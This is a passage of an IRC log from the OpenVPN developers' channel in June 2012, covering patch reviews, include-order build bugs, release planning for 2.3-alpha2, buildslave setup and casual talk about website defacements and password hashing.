did I misunderstand? That's at least the reason why I just ignored that thread after fosdem 03:25 <@cron2> dazo: we did, and that's exactly what this patch does: remove it from openvpn :-) 03:26 <@cron2> there is no thread, it's just a single patch from d12fk... 03:26 <@cron2> From: Heiko Hund <heiko.hund@sophos.com> 03:26 <@cron2> Date: Sun, 5 Feb 2012 13:47:09 +0100 03:26 <@cron2> Subject: [Openvpn-devel] [PATCH] remove the --auto-proxy option from openvpn 03:26 <@cron2> Message-ID: <1328446029-30523-1-git-send-email-heiko.hund@sophos.com> 03:28 <@dazo> uhm ... okay, that has really missed my radar 03:29 <@dazo> Hmm ... no responses at all ... I could even pull that one in with a "lazy consensus" approach by now :) 03:29 <@cron2> indeed :-) 03:40 <@d12fk> hail to lazines =) 03:40 <@dazo> hehe :) 03:40 <@dazo> nah, I'll give it an ACK ... so that someone can haunt me down .... it's been too quiet lately :-P 03:43 <@dazo> the patch rebase was smooth, no conflicts or anything ... patch -p1 inside src/openvpn/ basically did the trick ... just needed an explicit path to doc/openvpn.8 03:45 <@dazo> d12fk: cron2: you got your proxy pony now ... being pushed out right now 03:46 <@cron2> heh :-) - another open itch to close \o/ 03:46 * cron2 has way too much stuff in his mailbox 03:46 <@d12fk> extected little pain as nobody touched this code for years 03:47 <@d12fk> ahh tippgicht -> coffee 03:47 <@dazo> does anyone of you see any benefit in this patch? http://article.gmane.org/gmane.network.openvpn.devel/6433 03:47 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 03:48 <@dazo> andj: ^^ that's a question for you too 03:51 <@cron2> dazo: it might make sense if you build something for someone else to test, and get reports "weeks later", so you can distinguish which locally patched version you gave out... 03:51 <@vpnHelper> RSS Update - testtrac: remove the --auto-proxy option from openvpn <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=8e1975b046dcf821eaf03098677dc5e34cd3a1a5> 03:51 <@dazo> cron2: yeah, if you make use of this feature .... if you check openvpn --version now ... you'll see a git revision reference being appended automatically 03:52 <@dazo> but this can be used as an extra annotation field too 03:52 <@cron2> dazo: yeah, like "windows version build with compiler X" and "compiler Y" or so 03:52 <@dazo> okay, I'll pull it in then 03:52 <@cron2> it might be useful - I don't see myself use it any time soon, but there are use cases 05:28 <@dazo> running final 'make check' before a big push ... hopefully I we're getting really close to the 2.3-alpha2 release by this push 05:28 <@dazo> (9 patches pulled in) 05:34 <@vpnHelper> RSS Update - testtrac: build: add --with-special-build to provide special build string <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=10b4b65e0318ce305e05cdec4b44b8f6bcd3915f> || Update TODO.IPv6 list <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=fc0c29b31c6f3804a074d8436ee738b0cee8f800> || Add missing pieces to IPv6 route gateway hand 06:11 <@cron2> yay 06:14 * cron2 is fine with doing 2.3_alpha2 now (some t_client.rc updates -> mattock, dazo to be sent regarding ipv6-routes-on-tap :) ) 06:19 <@dazo> mattock: if you're fine with me tagging 2.3_alpha2 ... then I can start that ... I think this is a decent time to do so ... here's the shortlog since alpha1: http://www.fpaste.org/pjWe/ 06:21 <@cron2> amazing list 06:24 <@dazo> the big change from alpha1 is basically alons' stuff 06:26 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 256 seconds] 06:28 <@mattock> opensuse buildslave almost there... what a silly platform :P 06:30 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 06:30 -!- mode/#openvpn-devel [+o andj] by ChanServ 06:37 <@cron2> mattock: in the t_client.rc file I sent you, there are these two lines: 06:37 <@cron2> #PING6_HOSTS_4="fd00:abcd:194:4::1 fd00:abcd:194:0::1" 06:37 <@cron2> PING6_HOSTS_4="fd00:abcd:194:4::1" # route-ipv6 on tap missing 06:38 <@cron2> with the fix dazo did just push for ipv6 routes on tap devices, the first line can become active, and the second can go away, as in 06:38 <@cron2> PING6_HOSTS_4="fd00:abcd:194:4::1 fd00:abcd:194:0::1" 06:39 * dazo does the same change in his test config 07:35 <@mattock> ah 07:47 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Read error: Operation timed out] 08:02 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 08:02 -!- mode/#openvpn-devel [+o andj] by ChanServ 08:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 08:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 08:32 <+krzee> [01:25] <code> idk if you guys noticed, but one of that guys' earlier hacks was actually zone-h itself, too 08:32 <+krzee> [01:26] <code> so many he just had a backdoor or something :p 09:07 <@dazo> haha ... yeah, I also found proXPN (openvpn provider) hacked in zone-h too 09:08 <@dazo> and some bsd sites as well ... all looking like the same 09:25 <+krzee> one hypothosis is that the app that reports the ip hosting the page and the actual spider actually use differing nameservers 09:27 <@dazo> could be 09:30 * ecrist reiterates, bullshit 09:32 <+krzee> well ya, but ild bet that zone-h isnt knowingly part of the bullshit 09:39 <@dazo> I wonder if zone-h is just a fraud .... which creates fake evidences of hacked sites ... and other sites bites the bullet and screams "wohaaa! Site XYZ is hacked!" ... and hopes it goes viral 09:40 * dazo even wonder if there are some advertisement on zone-h ... which might trigger some kickback to zone-h for each page view ... 09:41 <@cron2> a 09:41 <@cron2> oops :) 10:41 <+krzee> [11:40] <RichiH> also, http://openvpn.net/man.html redirects to the 20x docs 10:41 <+krzee> [11:41] <krzee> aye 10:41 <+krzee> [11:41] <krzee> !man 10:41 <+krzee> [11:41] <RichiH> it should arguably present a list of possible destinations 10:41 <+krzee> mattock, ^ sounds like a good idea 10:42 <+krzee> openvpn/man should go to http://openvpn.net/index.php/open-source/documentation/manuals.html 10:42 <@vpnHelper> Title: Manuals (at openvpn.net) 10:49 < ecrist> indeed 11:31 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:31 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:42 -!- dazo is now known as dazo_afk 15:11 <@cron2> wow, the openwrt folks really revamped their openvpn-devel package - it can now be built with openssl, polarssl, no ssl :) 15:12 <@cron2> and it builds frmo git now :) 15:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 16:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:09 -!- globalvpn [globalvpn@77.116.244.149.wireless.dyn.drei.com] has joined #openvpn-devel 18:09 < globalvpn> hi guys 18:09 < globalvpn> anybody there? 18:17 -!- globalvpn [globalvpn@77.116.244.149.wireless.dyn.drei.com] has quit [] 18:35 < ecrist> yup 18:35 < ecrist> just wasn't paying attention 18:55 <+krzee> heh 18:55 <+krzee> someone needed to read !ask 19:08 -!- raidz is now known as raidz_afk 21:20 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 22:17 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Jun 14 2012 00:33 <@andj> cron2: cool, sounds good :) 02:11 <@mattock> krzee: re: man: agreed, todo 03:16 <@cron2> meeting tonight? 03:22 <+krzee> any word on when the openvpn android client will be back? or is it? 03:22 <+krzee> (im looking over forum posts...) 03:23 <@mattock> cron2: don't know, I might not make it myself, not sure atm 03:23 <@mattock> krzee: the openvpn tech version? 03:50 <+krzee> either ICS version 03:50 <+krzee> afaik the ovpn tech one expired awhile ago 03:53 <@cron2> mattock: I can't do any plans myself - child#2 is not yet there, but all the signs say "it could start 5 minutes from now, or next week" 03:58 <@vpnHelper> RSS Update - tickets: #214: Doubling of keepalive timeout option poorly documented in openvpn manpage <https://community.openvpn.net/openvpn/ticket/214> 04:15 -!- dazo_afk is now known as dazo 04:37 <@dazo> ecrist: hey! Have you poked at easy-rsa stuff lately? If you need help, let me know 05:27 <@mattock> I'll be unavailable for a few hours at least, taking the train to Helsinki 05:29 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock] 07:19 < ecrist> dazo: not yet, was going through the git handbook 07:20 < ecrist> I'm in the process of moving, starting today, as well 07:20 <@dazo> ahh, no worries ... just curious :) 07:47 < ecrist> I'll try to dive into it more again today 08:17 < ecrist> dazo: are there pending patches or something? Or just waiting on me to do *something*? 08:18 <@dazo> ecrist: there are 3-4 patches on the ML ... but nothing urgent 08:30 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 08:52 <@cron2> oh my 08:53 <@cron2> compiling openvpn with "--disable-plugins --crypto=polarssl" falls over weird #ifdef cascades in syshead.h, resulting in "pf.c is compiled without ENABLE_PF, but all the callers are compiled *with* ENABLE_PF" 08:53 <@cron2> I'm not sure I understand how that can happen, though 08:53 <@cron2> it should enable or disable it uniformly for all *.c files including config.h+syshead.h (in that order) 09:03 <@cron2> this is... weird 09:05 <@dazo> yeah, I noticed some other place too the nastiness around PF macros and #ifdef's 09:06 <@dazo> the whole PF stuff got some really backwards #ifdef's and "double" macros doing the same 09:07 <@cron2> it's even weirder... as far as I can see so far (debugging right now), syshead.h turns *off* ENABLE_PF, because polarssl+something+--disable-plugins, and something later on turns it *back on*, so multi.c and init.c get compiled with the calls to pf.c, but pf.o is empty... 09:09 <@cron2> so maybe we *do* want to have a close look at Alon's syshead.h cleanup 09:10 <@dazo> some of the simpler pieces there we can pull in ... but I'd like to stay clear of the deeper going parts there 09:12 <@cron2> something in init.h turns on PF_ENABLE again... 09:12 <@cron2> ssl_polarssl.h:#include "config.h" 09:12 <@cron2> *sigh* 09:13 <@dazo> hmm 09:13 <@cron2> config.h is not #ifdef-protected, so the sequence is 09:13 <@cron2> config.h -> PF_ENABLE 1 09:13 <@cron2> syshead.h -> #undef PF_ENABLE 09:14 <@cron2> init.h -> openvpn.h -> ... -> ssl_polarssl.h -> config.h -> #define PF_ENABLE 1 09:14 <@dazo> ugh 09:14 <@cron2> and that only happens in init.c and multi.c, because pf.c does not include <init.h> 09:14 <@cron2> yay 09:14 <@cron2> multi.c includes multi.h which includes init.h which... 09:15 <@cron2> andj: ayt? 09:15 <@cron2> I think ssl_polarssl.h should not include config.h... 09:16 <@cron2> ssl_openssl.h doesn't do either 09:16 <@cron2> but I want andj to think about that, agree, and send in the patch :) 09:17 <@dazo> Have you tried it? ...with --enable-pkcs11? 09:17 <@cron2> what? 09:17 <@dazo> removing #include <config.h> from ssl_polarssl.h 09:18 <@dazo> it's also included in ssl_polarssl.c ... but that file also #include <syshead.h> ... so that should be fine 09:18 <@cron2> if any caller includes "config.h" *first*, it should be safe to not-include it in ssl_polarssl.h 09:19 <@dazo> yeah, I saw that now 09:19 <@cron2> otherwise, config.h needs to be #ifdef _CONFIG_H protected against double inclusion 09:19 <@dazo> ack 09:21 <@dazo> I just noticed that ssl_polarssl.h have an #ifdef ENABLED_PKCS11 ... which could cause issues ... but ssl_polarssl.h is included via ssl_backend.h in ssl_polarssl.c 09:21 <@dazo> which have already an #include <syshead.h> 09:22 <@cron2> s/syshead/config/ 09:22 <@cron2> well, 09:22 <@cron2> both :) 09:22 <@dazo> yeah :) 09:23 <@dazo> well, actually ... config.h isn't included in syshead.h any more 09:27 <@cron2> In file included from ping.h:28, from forward.h:37, from push.h:30, from options.c:56: 09:28 <@cron2> gah, we should really stop having our own header files call other local header files 3-levels deep 09:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:28 <@cron2> options.c->push.h->forward.h->ping.h->init.h 09:28 <@dazo> ack 09:32 <@cron2> oh, you need even more options to trigger that. fun 09:38 <@cron2> --enable-pf, --disable-plugins, --disable-management, --with-crypto=polarssl 09:45 <@cron2> patch plus long explanation sent 09:48 <@cron2> now *what* did my customers expect me to do this afternoon, before I got sucked into fixing openwrt/openvpn breakage again...? 09:49 <@dazo> cron2: it'd be great if you would also send single patches using 'git send-email' too ... I have such nice scripts which extracts all needed mail header info automatically on mails .... while attached patch files requires that info to be extracted manually 09:50 <@dazo> (and I don't care if the commit messages are quite verbose ... nothing bad about that) 09:51 <@dazo> you don't need to resend now ... but just for the future :) 09:51 * cron2 tries to remember 09:51 <@cron2> (it's not trivial, tho, as I regularily do the git work on systems that have very limited access to the outside world - like my buildslaves - and simply cannot send mail directly...) 09:52 <@cron2> so it would imply pushing to another git repo, which is again "outgoing connection", which these machines are not allowed to do... 09:52 <@cron2> but I'll find a way to organize that 09:52 <@cron2> (*this* patch came from my desktop workstation, so it would have been easy) 09:53 <@dazo> ahh, I see 09:53 <@dazo> but if you have the patch file ... copy it to your workstation ... and do: git send-email $patchfile ... that'll do the same 09:54 <@cron2> I consider the buildslave VMs to be potentially compromised, so outgoing ssh, mail, ... is forbidden - ssh *in particular* to my home network, so I'm not tempted to enter ssh credentials into a potentially-compromised ssh client... 09:54 <@cron2> indeed, good point - I forgot that git send-email also handles patchfiles 09:54 <@dazo> yeah, I completely agree to your security PoV 09:55 <@cron2> that is easy (create the file wherever, *pull* with scp $remote:... /home/path/, then send from there) 09:55 <@cron2> which is exactly what I do now with manually attaching to mail 09:55 <@cron2> ah 09:55 <@cron2> there's that: can I get git send-email to gpg-sign outgoing mail? I didn't find an option for that 09:59 -!- You're now known as ecrist_android 10:00 -!- You're now known as ecrist_away 10:00 -!- You're now known as _torch_n_rope_ 10:00 -!- You're now known as ecrist 10:02 <@dazo> cron2: not easily ... but I see that newer git versions come with something interesting ... http://phreaknerd.wordpress.com/2012/02/09/signing-git-commits-with-your-gpg-key/ 10:02 <@vpnHelper> Title: Signing git commits with your GPG key « Jazzy Coding (at phreaknerd.wordpress.com) 10:03 <@cron2> mmmh, nice. 10:10 * dazo upgrades git to 1.7.10.2 10:22 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 11:14 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:14 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 11:14 <@mattock_> back 11:17 <@mattock_> if we want to have a meeting today, I'll be here 11:32 -!- raidz_afk is now known as raidz 11:36 <@raidz> http://news.softpedia.com/news/Hackers-Deface-OpenVPN-Website-275039.shtml 11:36 <@vpnHelper> Title: Hackers Claim to Have Defaced OpenVPN Website (Updated) - Softpedia (at news.softpedia.com) 11:37 <@raidz> Justice 11:40 <+krzee> it says no sensitive info is stored 11:40 <+krzee> isnt AS billing info stored...? 11:44 <@mattock_> interesting episode this 11:44 <@raidz> krzee: nope, we use a third party for that 11:45 <@raidz> mattock_: I just approved the digicert, should be ready soon 11:45 <@mattock_> excellent! 11:45 <@raidz> those guys made us jump through hoops 11:45 <@raidz> they are much more detailed than verisign 11:45 <@raidz> which is good imo 11:45 <@mattock_> yep 11:45 <@mattock_> dazo: all set for 2.3-alpha2 release (late) next week? 11:46 <@mattock_> if I got signing and all sorted out 11:46 <@mattock_> get 11:46 <@dazo> mattock_: definitely ... what about the patches we sent for review with James? heard anything? 11:46 <@mattock_> raidz: and verisign costs more 11:46 <@mattock_> nope, I need to poke him with a stick again 11:46 <@raidz> mattock_: yep, like double what digicert costs 11:46 <+krzee> raidz, oh i see, cool 11:47 <@raidz> krzee: yeah, I get uneasy about storing billing information, the most we store is their e-mail/pass (passes are salted) 11:48 <@raidz> I can't believe linkedin doesn't salt their pass's wtf 11:48 <+krzee> oh dude 11:48 <+krzee> im with ya 11:48 <@mattock_> I use unique passwords on every site, so I didn't get hurt with this linkedin/libre.fm episode 11:49 <@raidz> same 11:49 <+krzee> and regarding them not salting, you may be surprised how many dont even encrypt, or use just plain MD5 still 11:49 <@raidz> LOL 11:49 <@dazo> if the developer isn't thinking thoroughly through security with password hashes .... it's easy to believe that "sha256($clear_text_passwd)" is enough 11:49 <@raidz> You would think a big company like that who has a huge bullseye on them would go out of their way to do that 11:50 <@dazo> I've heard about banks where a "technician" was allowed into the banks server room alone ... cut all cables to a server and walked out the front door with the box under his arms 11:50 <@raidz> LOL 11:51 <+krzee> lol 11:52 <@dazo> and the more I read exploit code for kernel exploits .... I just sit there thinking: "How the f*ck did he come up with that idea?" or "wtf!? what does this code really do?" ... all I know is that it gives me root shell from an unprivileged user account 11:52 <@raidz> :-D 11:52 <@dazo> to make secure systems ... you need to have a security settled mind ... thinking outside the box 11:53 <@dazo> 90% of all developers think more like "this will always be like this" ... and forget about error handling or actions going outside the scope of the function 11:54 <+krzee> to quote a friend of mine's skype profile message "kernel hacking is a dark art that should be avoided at all costs" 11:54 <+krzee> (from someone who has coded a few of them) 11:54 <@dazo> hehe ... well, if developers wouldn't avoid that hacking so much ... our kernels would be safer ;-) 11:56 <@dazo> oh btw mattock! The exploit I told you about a while ago, where the compiler optimisation introduced a kernel bug ... it's explained here: https://isc.sans.edu/diary.html?storyid=6820 11:56 <@vpnHelper> Title: ISC Diary | A new fascinating Linux kernel vulnerability (at isc.sans.edu) 11:58 <@raidz> mattock_: I got us an extra two month on the cert, so it actually expires in 14 months 11:58 <@dazo> And if anyone want to read some kernel exploit code .... http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c ... even the URL references are worth looking at 11:59 <@raidz> dazo/mattock_: Which certs do you need? Microsoft Authenticode, kernel space? 11:59 * dazo dunno anything about Windows signing 11:59 <@raidz> lol, ok 12:01 <@dazo> mattock_: reg. meeting to day ... it's not fitting me too well at all ... need to run soonish ... but if the patches we sent to James could be reviewed (if james appears), that'll be good ... Alon just ACKed cron2 latest patch 12:01 * dazo pulls up his outstanding patch list 12:02 <@dazo> "OCC ping", "Don't require DAF_INITIAL_AUTH..." and "cleanup: windows: convert argv (UCS-2 to UTF-8) at earliest" are in the review list for James 12:03 <@dazo> "build: msvc: chdir with change drive to script location" needs a review, probably by you mattock_? 12:05 <@dazo> This patch from Alon I can't say I've seen on the ML ... but should be reviewed too ... https://github.com/alonbl/openvpn/commit/58a0b5a8defece02fb14f120b9a34eb665f40a48 12:05 <@vpnHelper> Title: build: integrate plugins build into core build · 58a0b5a · alonbl/openvpn · GitHub (at github.com) 12:05 <@dazo> That's basically what I have on my radar 12:06 -!- ibins [~michl@2001:6f8:1c60:7777:ee9b:5bff:fed3:7cc0] has joined #openvpn-devel 12:07 <@mattock_> dazo: ok, I'll tease James about the patches 12:07 <@dazo> with that tackled ... I think we're finally ready to sign-off alpha2 12:07 <@mattock_> dazo: that one, I saw it on the ml I think 12:07 <@mattock_> alon's patch 12:08 <@mattock_> makes sense, it was after the plugin episode 12:08 <@mattock_> was sent 12:08 <@dazo> yeah 12:08 <@dazo> oh, I have it ... my mail-filter didn't filter it :) 12:12 * cron2 is happy 12:12 <@cron2> "Alon and I agree!" :-) 12:12 <@raidz> I got to say it, but the Giants had their first perfect game ever last night. I almost threw up and cried at the same time, just sayin' 12:13 * dazo heads out 12:15 -!- dazo is now known as dazo_afk 12:26 -!- novaflash is now known as novaflash_away 12:26 -!- novaflash_away is now known as novaflash 12:47 <@mattock_> cron2: that's incredible :D 13:47 -!- ibins [~michl@2001:6f8:1c60:7777:ee9b:5bff:fed3:7cc0] has quit [Quit: ibins] 16:03 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 16:19 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:21 <+krzee> mattock_ (and/or anyone else who wants to answer) do we need more buildslaves? 16:22 <+krzee> my business has a server coming, it currently has my db machine running in a vm, i could choose to take over the whole machine and use it as dual purpose (also for voip, which doesnt work well in VM), or i can choose to keep it running esxi and start some buildslaves 16:23 <+krzee> that choice will be made based on how much buildslaves are needed 16:46 -!- ender| [krneki@foo.eternallybored.org] has quit [Ping timeout: 244 seconds] 19:17 -!- raidz is now known as raidz_afk --- Log closed Fri Jun 15 00:26:05 2012 --- Log opened Fri Jun 15 12:50:33 2012 12:50 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 12:50 -!- Irssi: #openvpn-devel: Total of 17 nicks [7 ops, 0 halfops, 1 voices, 9 normal] 12:50 -!- Irssi: Join to #openvpn-devel was synced in 2 secs 13:07 < plaisthos> #&$*(#* in_addr_t is sometimes host order and sometimes network order in openvpn 13:08 * plaisthos sighs 13:26 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 14:40 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:40 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:07 -!- raidz is now known as raidz_afk --- Day changed Sat Jun 16 2012 01:22 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 06:06 < plaisthos> !meetings 06:06 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 11:28 -!- variable is now known as Guest24216 11:50 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:50 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 15:58 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:17 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 21:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Jun 17 2012 03:33 <@mattock_> poked james about the few missing patches 05:07 <@cron2> a meeting this week would be good - make up our minds whether we want to release 2.3 "very soonish", and immediately start 2.4 (tun rewrite, android, windows privsep) - or wait somewhat longer, get windows service + android into alpha3 05:07 <@cron2> for alpha2, I think we're good 09:44 < plaisthos> I also looked into the "bring openvpn" to good ipv6 support to support dual stack 09:44 < plaisthos> That accumulates to rewriting a lot of the socket.c code 09:44 < plaisthos> (or complicate it even more) 09:58 < plaisthos> I think I will manage to do this in 2.3 timeframe 09:58 < plaisthos> the android support is not that important in mainline 09:58 < plaisthos> I have no problem to wait for a tun rewrite 12:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 13:15 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:15 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:48 <@cron2> if I have anything to say, this sounds like "2.3_alpha3 gets the socket.c ipv4/ipv6 cleanup rewrite", then :-) 13:48 <@cron2> -> meeting topic! 13:56 <+krzee> plaisthos, is your android port available currently? people on the forum would like ICS version =] 14:08 <@cron2> krzee: it should be, colleague of mine found it in the store on Friday (and was very excited about it) 14:09 <+krzee> oh nice 14:09 <+krzee> is it "ics-openvpn" im seeing from google? 14:09 <+krzee> (i dont have a compatible device) 14:10 <+krzee> ahh no this must be it 14:10 <+krzee> https://play.google.com/store/apps/details?id=de.blinkt.openvpn 14:10 <@vpnHelper> Title: Openvpn for Android - Android Apps on Google Play (at play.google.com) 14:10 <+krzee> thanks, ill put it on the forum 14:12 <+krzee> would this be correct:? 14:12 <+krzee> this isnt the "official version" but the author is in the development channel, and i have a feeling it will evolve into the official version 14:13 <+krzee> i only feel the need to mention if its official because the topic is "Official Android App" 14:16 <+krzee> because the "official" version that was released by ovpn tech expired awhile ago 14:17 <+krzee> plaisthos, also, is the android version open source? someone was asking 14:17 <+krzee> (asking where to get the source, if it is) 14:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 14:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:33 <@vpnHelper> RSS Update - wishlist: New --redirect-gateway mode to properly replace default rout <http://forums.openvpn.net/topic10750.html> 15:49 <@cron2> krzee: de.blinkt.* is "the cool one", yes :-) 17:00 <+krzee> thanks, after asking i found that he had posted in the thread :x 20:36 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 21:17 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Jun 18 2012 02:21 <@mattock_> cron2: meeting this week -> good idea 02:21 <@mattock_> I would rather avoid the endless alpha syndrome and push out 2.3 (final) out a.s.a.p. and work on 2.4, and get it out a.s.a.p. :) 02:22 <@mattock_> s/avoid/"try to avoid"/1 02:23 <@cron2> I'm fine with that *if* we keep up the pace for 2.4, like "release 2.4 end of *this* year" 02:24 <@cron2> there's important stuff in the queue, and we should not delay that another two years 02:24 <@mattock_> yes, definitely 02:24 <@mattock_> we're too slow in releasing stuff I think 02:25 <@mattock_> the buildsystem stuff took us by surprise, but still 02:27 <@cron2> we needed to build infrastructure, like buildbot and test server, but that's all in place now - so we can have more confidence in our work :-) and release more often indeed 02:27 <@cron2> .oO(a windows buildslave with t_client tests would be great, tho) 02:28 <@mattock_> yeah 02:29 <@mattock_> speaking of buildslaves, I'll finish the opensuse buildslave today, unless it really fights back 02:29 <@mattock_> then I'm done 02:29 <@mattock_> also, if we have a quicker release cycle, we have less (untested) changes and thus more confidence that the releases are not (too) crappy 02:30 <@mattock_> with huge number of changes... who knows? 02:34 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:34 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:38 <@cron2> well, a single change can have well-hidden surprises... :-) (and we'll see HUGE changes in 2.4, with Alon's tun.c rewrite and phaistos' socket.c overhaul...) 02:38 <@cron2> yeah, we need to discuss this on thursday 02:39 <@mattock> yep 02:39 <@mattock> with 100 changes we can get 100 well-hidden surprises :D 02:40 <@mattock> mkay, on to opensuse 02:49 <@mattock> building on opensuse is _so_ annoying... no software so far has compiled without CFLAGS="-O0" 02:49 <@cron2> why? 02:50 <@mattock> I have no clue 02:50 * cron2 hasn't done anything on opensuse recently, but earlier on, it was "just linux"... 02:50 <@cron2> how does it fail? 02:50 <@mattock> internal compiler error 02:50 <@cron2> ugh. open a bug with them! 02:50 <@mattock> same on SLES 11 if I remember correctly 02:51 <@cron2> double-ugh 02:53 <@mattock> that lead me to believe it some kind of nasty feature 03:07 <@cron2> "users of opensuse or sles do not compile their own stuff!" 03:08 <@mattock> hmm, this _could_ be some funky processor architecture issues... opensuse is running on Debian KVM host 03:09 <@mattock> found some similar bug reports from the Novell bugzilla 03:12 -!- dazo_afk is now known as dazo 03:12 <@mattock> ok, once again took the shortcut (-O0) to get polar installed 03:34 <@mattock> I was also a good citizen and filed a proper bug report 03:39 <@dazo> I agree, we need to get 2.3 completed first ... socket.c, tun.c and all the other big things should really go into 2.4 in my opinion 03:40 <@dazo> aiming for at least a 2.4 alpha towards the end of the year seems to make sense to me 03:42 <@dazo> mattock: what's kind of holding us a little bit back right now, is those outstanding patches in James' queue ... and the "integrate plugins build into core build" patch from Alon ... I'll try to look at this before Thursday 03:43 <@dazo> And I can tag the tree any minute now ... I'd say the code is ready 03:43 <@cron2> if child#2 is stalling further, I'll take a close look at the syshead patches 03:43 <@mattock> dazo: from James: "I'm swamped right now, but I'll try to take a look at it." 03:43 <@mattock> the two patches, that is 03:44 <@dazo> cron2: that syshead stuff is scaring me a little bit ... so not for 2.3-alpha2 ... maybe for 2.3, but definitely for 2.4 03:44 <@dazo> (no reason to be scary, except it touches C code which has been depending on this for over a decade) 03:45 <@cron2> well, the plan is "patch my local tree with it, and build on a few platforms" :) 03:45 <@dazo> that's what I like to hear :) 03:45 <@cron2> some of the changes are trivial, and some are more complex... 03:45 <@dazo> yeah, that's what I saw when I skimmed through them 03:48 <@dazo> [OT] Might be an interesting "test" scenario ... http://killcx.sourceforge.net/ 03:48 <@vpnHelper> Title: Killcx : close a TCP connection (for Linux) (at killcx.sourceforge.net) 03:49 <@mattock> cron2: what do you think about using CFLAGS="-O0" for all buildslaves? 03:49 <@mattock> would it reduce the effectiveness of the tests or something? 03:49 <@mattock> it should speed up compiling somewhat afaik 03:49 <@dazo> It reduces the compiler optimisations, and could hide other issues as well 03:49 <@mattock> issues in openvpn? 03:49 <@dazo> (the binary code gets more "bloated", kind of) 03:49 <@dazo> it could hide also OpenVPN issues 03:50 <@mattock> ok, if so, I'll make some customizations just for the opensuse buildslave 03:51 <@cron2> mattock: I'd do "what the normal user does" - so not fiddle with CFLAGSs settings unless unavoidable 03:51 <@mattock> ok, makes sense 03:51 <@dazo> Fedora uses -O2 by default in CFLAGS 03:51 <@dazo> cron2++ 03:51 <@cron2> actually having *one* buildslave with -O0 might be good to uncover funny effects ("this code only works if optimization is turned on") - but I think we are not using such constructs anyway 03:52 <@cron2> (ISTR that some inline assembly stuff only works with -O2...) 03:52 <@dazo> gcc -Q -O{s,0,1,2,3} --help=optimizers ... there you can see what's enabled/disabled in each of the optimisation levels 03:53 <@cron2> fun 03:55 <@dazo> For GCC, -O0 ... actually is the same as not giving an -O? argument at all 04:00 <@mattock> dazo: yep, normally, but OpenSuSE/SLES seem to default to -O2 04:00 <@dazo> mattock: whats the issue you have on that platform? 04:00 <@mattock> compiling anything non-trivial will fail with internal compiler error 04:01 <@dazo> which gcc? 04:01 <@mattock> I'm guessing it's somehow related to opensuse running on a kvm host (cpuids or something) 04:01 <@mattock> 4.6 04:02 <@mattock> I just filed a bug report... let's see what the Novell guys sya 04:02 <@mattock> say 04:03 <@dazo> gcc-4.6.1 is also used on Fedora 15 and 16 04:03 <@mattock> dazo: regarding cleaning up after build... is this ok: 04:03 <@mattock> 